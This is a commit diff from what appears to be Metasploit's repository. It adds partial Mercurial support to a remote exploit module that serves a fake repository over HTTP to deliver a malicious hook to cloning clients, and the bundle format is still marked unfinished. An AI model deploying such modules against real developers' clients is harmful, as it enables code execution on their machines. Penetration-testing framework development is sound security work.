Partial mercurial support. Still need to implement bundle format

bug/bundler_fix
Jon Hart 2014-12-22 17:44:14 -08:00
parent fdd1d085ff
commit 421fc20964
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
1 changed files with 21 additions and 7 deletions

View File

@ -159,7 +159,18 @@ class Metasploit4 < Msf::Exploit::Remote
fail ArgumentError, 'MERCURIAL_URI must start with a /' unless mercurial_uri =~ /^\// fail ArgumentError, 'MERCURIAL_URI must start with a /' unless mercurial_uri =~ /^\//
# sanity check the malicious hook: # sanity check the malicious hook:
fail ArgumentError, 'MERCURIAL_HOOK must not be blank' if datastore['MERCURIAL_HOOK'].blank? fail ArgumentError, 'MERCURIAL_HOOK must not be blank' if datastore['MERCURIAL_HOOK'].blank?
# TODO: build the fake repository # we fake the Mercurial HTTP protocol such that we are compliant as possible but
# also as simple as possible so that we don't have to support all of the protocol
# complexities. Taken from:
# http://mercurial.selenic.com/wiki/HttpCommandProtocol
# http://selenic.com/hg/file/tip/mercurial/wireproto.py
@repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN'
fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814'
@repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n"
# TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat
@repo_data[:mercurial][:files]["?cmd=getbundle&common=0000000000000000000000000000000000000000&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo")
# TODO: finish building the fake repository
end end
def build_object(type, content) def build_object(type, content)
@ -255,11 +266,14 @@ HTML
def do_mercurial(cli, req) def do_mercurial(cli, req)
# determine if the requested file is something we know how to serve from our # determine if the requested file is something we know how to serve from our
# fake repository and send it if so # fake repository and send it if so
req_file = URI.parse(req.uri).path.gsub(/^#{mercurial_uri}/, '') uri = URI.parse(req.uri)
if @repo_data[:mercurial][:files].key?(req_file) req_path = uri.path
vprint_status("Sending Mercurial #{req_file}") req_path += "?#{uri.query}" if uri.query
send_response(cli, @repo_data[:mercurial][:files][req_file]) req_path.gsub!(/^#{mercurial_uri}/, '')
if req_file == @repo_data[:mercurial][:trigger] if @repo_data[:mercurial][:files].key?(req_path)
vprint_status("Sending Mercurial #{req_path}")
send_response(cli, @repo_data[:mercurial][:files][req_path], 'Content-Type' => 'application/mercurial-0.1')
if req_path == @repo_data[:mercurial][:trigger]
vprint_status("Trigger!") vprint_status("Trigger!")
# Do we need this? If so, how can I update the payload which is in a file which # Do we need this? If so, how can I update the payload which is in a file which
# has already been built? # has already been built?
@ -267,7 +281,7 @@ HTML
handler(cli) handler(cli)
end end
else else
vprint_status("Mercurial #{req_file} doesn't exist") vprint_status("Mercurial #{req_path} doesn't exist")
send_not_found(cli) send_not_found(cli)
end end
end end